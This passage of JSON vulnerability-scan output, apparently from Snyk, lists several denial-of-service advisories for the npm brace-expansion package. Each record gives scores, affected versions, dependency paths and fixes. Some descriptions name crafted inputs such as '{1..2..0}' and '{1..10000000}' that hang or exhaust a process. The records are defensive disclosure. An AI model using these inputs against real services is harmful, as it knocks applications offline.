"https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its 